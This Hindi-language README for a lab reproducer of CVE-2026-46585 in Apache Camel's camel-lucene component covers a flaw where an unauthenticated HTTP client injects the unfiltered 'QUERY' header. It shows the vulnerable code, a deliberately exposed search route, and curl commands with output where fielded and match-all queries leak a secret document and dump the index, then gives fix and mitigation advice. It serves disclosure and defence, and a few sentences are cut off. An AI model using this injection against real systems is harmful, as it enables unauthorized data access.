
सीवीई-2026-46585 हेतु रीप्रोड्यूसर: Apache Camel camel-lucene QUERY हेडर इंजेक्शन जो प्राधिकरण बायपास / इंडेक्स डेटा एक्सफिल्ट्रेशन सक्षम करता है (4.14.8/4.18.3/4.21.0 में ठीक किया गया)
QUERY हेडर इंजेक्शन रिप्रोड्यूसर (CVE-2026-46585)यह प्रोजेक्ट Apache Camel के camel-lucene घटक में मैसेज-हेडर इंजेक्शन / प्राधिकरण बायपास को प्रदर्शित करता है, जिसे CVE-2026-46585 के रूप में ट्रैक किया जाता है। Lucene क्वेरी प्रोड्यूसर फ़ुल-टेक्स्ट खोज वाक्यांश को Exchange हेडर से पढ़ता है, लेकिन हेडर का नाम सादा स्ट्रिंग QUERY था (और डॉक्स फ़्लैग के लिए RETURN_LUCENE_DOCS)। चूँकि ये नाम Camel / camel उपसर्ग से नहीं शुरू होते हैं, HttpHeaderFilterStrategy — जो HTTP सीमा पर केवल Camel हेडर नेमस्पेस को ब्लॉक करता है — उन्हें इनबाउंड HTTP अनुरोध से सीधे Exchange में जाने देता है। इसलिए कोई भी HTTP क्लाइंट जो किसी ऐसे रूट को हिट करता है जो HTTP कंज़्यूमर के पीछे Lucene क्वेरी उजागर करता है, QUERY हेडर सेट कर सकता है और उसका मान इंडेक्स के विरुद्ध निष्पादित करवा सकता है, ।
यह PoC प्रभाव को प्राधिकरण बायपास / डेटा एक्सफ़िलट्रेशन के रूप में प्रदर्शित करता है: एक अनप्रमाणित क्लाइंट कच्चे Lucene क्वेरी सिंटैक्स को इंजेक्ट करके ऐसा दस्तावेज़ पढ़ता है जिसे सार्वजनिक खोज एंडपॉइंट कभी लौटाने के लिए नहीं था (और match-all क्वेरी पूरे इंडेक्स को डंप कर देती है)।
| गुण | मान |
|---|---|
| घटक | camel-lucene |
| प्रभावित क्लास | org.apache.camel.component.lucene.LuceneQueryProducer जो LuceneConstants.HEADER_QUERY (मान "QUERY") पढ़ता है |
| CWE | CWE-20 (अनुचित इनपुट सत्यापन) / CWE-639 (उपयोगकर्ता-नियंत्रित कुंजी के माध्यम से प्राधिकरण बायपास) |
| प्रभाव | एक HTTP क्लाइंट QUERY हेडर सेट करता है → मनमानी Lucene क्वेरी निष्पादित होती है → इच्छित दायरे से बाहर के दस्तावेज़ पढ़े जाते हैं, या CPU-भारी regex क्वेरी |
| पूर्वापेक्षाएँ | एक रूट HTTP कंज़्यूमर (जैसे platform-http) के पीछे lucene:...:query प्रोड्यूसर उजागर करता है; जब कंज़्यूमर अनप्रमाणित होता है |
| प्रभावित संस्करण | 4.0.0 से 4.14.8 से पहले, 4.15.0 से 4.18.3 से पहले, 4.19.0 से 4.21.0 से पहले |
| सुधारित संस्करण | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23509 |
| श्रेय | Andrea Cosentino (Apache Software Foundation) और Yu Bao (PayPal) |
CVE-2025-27636, CVE-2026-40453, CVE-2026-46454 और CVE-2026-46457 के समान हेडर-इंजेक्शन परिवार से संबंधित है, और camel-elasticsearch के
SEARCH_QUERYसहयोगी के साथ गैर-Camel-उपसर्गित हेडर-कॉन्स्टेंट मूल कारण साझा करता है।
// LuceneConstants (affected 4.18.2) — the header name is the bare word "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";
// LuceneQueryProducer.process (affected 4.18.2) — the phrase comes straight from that header:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
searcher.open(indexDirectory, analyzer);
hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs); // attacker-controlled
}
LuceneSearcher वाक्यांश को क्लासिक QueryParser("contents", analyzer) से पार्स करता है, जिससे हमलावर को पूर्ण Lucene क्वेरी सिंटैक्स मिलता है: फ़ील्डेड टर्म (visibility:secret), match-all (*:*), वाइल्डकार्ड और महंगे रेगुलर एक्सप्रेशन।
फिक्स (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23509) हेडर मानों का नाम बदलकर Camel परंपरा के अनुसार करता है — HEADER_QUERY को QUERY से CamelLuceneQuery में, और HEADER_RETURN_LUCENE_DOCS को CamelLuceneReturnLuceneDocs में — ताकि वे हर अन्य Camel कंट्रोल हेडर की तरह HTTP सीमा पर फ़िल्टर हो जाएँ। कॉन्स्टेंट फ़ील्ड नाम अपरिवर्तित हैं (LuceneConstants.HEADER_QUERY का संदर्भ देने वाले रूट काम करते रहते हैं); यह केवल उन रूट्स के लिए ब्रेकिंग परिवर्तन है जो इन हेडरों को उनके कच्चे स्ट्रिंग मान से सेट/पढ़ते हैं।
from("platform-http:/search")
.removeHeaders("Camel*") // documented hardening — see below
.to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
.process(/* render the Hits as text */);
रूट लेखक का सुरक्षा मॉडल है "यह एंडपॉइंट केवल सार्वजनिक खोज प्रदान करता है"। प्रलेखित हार्डनिंग के रूप में रूट किनारे पर removeHeaders("Camel*") के साथ Camel कंट्रोल-हेडर नेमस्पेस को भी हटा देता है। इससे कोई मदद नहीं मिलती: कंट्रोल हेडर का नाम QUERY है, न कि CamelLuceneQuery, इसलिए इसे न तो वह कॉल हटाता है और न ही बिल्ट-इन HTTP हेडर फ़िल्टर — और यही CVE का मूल बिंदु है (और ठीक वही जिसे फिक्स का नाम-परिवर्तन संबोधित करता है)।
इंडेक्स में तीन सार्वजनिक दस्तावेज़ हैं और एक गुप्त दस्तावेज़ है जिसे visibility:secret टैग किया गया है और जिसके बॉडी में एक हानिरहित फ़्लैग मार्कर है। एक सामान्य सार्वजनिक खोज (QUERY=onboarding, डिफ़ॉल्ट contents फ़ील्ड के विरुद्ध एक सादा टर्म) इसे कभी नहीं लौटाती; एक इंजेक्टेड फ़ील्डेड क्वेरी इसे लौटाती है।
पीड़ित Camel खोज रूट और उसका इंडेक्स है; हमलावर एक अनप्रमाणित HTTP क्लाइंट है जो केवल एक अनुरोध हेडर सेट करता है। सब कुछ एक ही स्व-निहित ऐप में चलता है।
CVE-2026-46585/
├── pom.xml # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── IndexConfig.java # registers the index directory as a Camel bean (#kbIndexDir)
│ ├── IndexBootstrap.java # builds the Lucene index: 3 public docs + 1 secret doc (the flag)
│ ├── VictimRoute.java # from("platform-http:/search").to("lucene:kb:query")
│ └── ExploitController.java # attacker: GET /search with an injected QUERY header
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
=== 1) Legitimate public search (QUERY=onboarding) ===
hits=2
- Frequently asked questions about billing and account onboarding.
- Welcome onboarding guide: how to use the public knowledge base and search for articles.
secret leaked: false
=== 2) Injected query (QUERY=visibility:secret) ===
hits=1
- CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
secret leaked: true
=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
hits=4
- ... (every document, including the secret one) ...
>>> Authorization-bypass / header-injection proof — an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true
वैध टर्म खोज केवल सार्वजनिक दस्तावेज़ लौटाती है। हमला अनुरोध — जो केवल एक हेडर के मान में भिन्न होता है जिसे फ्रेमवर्क को फ़िल्टर कर देना चाहिए था — गुप्त दस्तावेज़ पढ़ता है, और match-all क्वेरी पूरा इंडेक्स लौटाती है।
कोई भी रूट जिसमें HTTP कंज़्यूमर से पहुँच योग्य lucene:...:query प्रोड्यूसर हो। अनपेक्षित दस्तावेज़ पढ़ने के अलावा, हमलावर यह कर सकता है:
*:* या किसी भिन्न फ़ील्ड प्रेडिकेट से बदल सकता है (प्राधिकरण बायपास)।4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23509) में अपग्रेड करें। अपग्रेड करने के बाद, जो रूट कच्चे हेडर नाम से क्वेरी सेट करते हैं उन्हें QUERY / RETURN_LUCENE_DOCS के बजाय CamelLuceneQuery (और CamelLuceneReturnLuceneDocs) का उपयोग करना चाहिए; ये Camel-नेमस्पेस वाले नाम हर अन्य कंट्रोल हेडर की तरह HTTP सीमा पर फ़िल्टर हो जाते हैं।
अपग्रेड करने तक:
.removeHeader("QUERY") और .removeHeader("RETURN_LUCENE_DOCS"), फिर .setHeader("QUERY", constant(...)) (या सत्यापित इनपुट से इसे बनाएँ)।यह रिप्रोड्यूसर केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से प्रकट और सुधारित भेद्यता के लिए। बिना स्पष्ट अनुमति के इसे सिस्टम के विरुद्ध उपयोग न करें।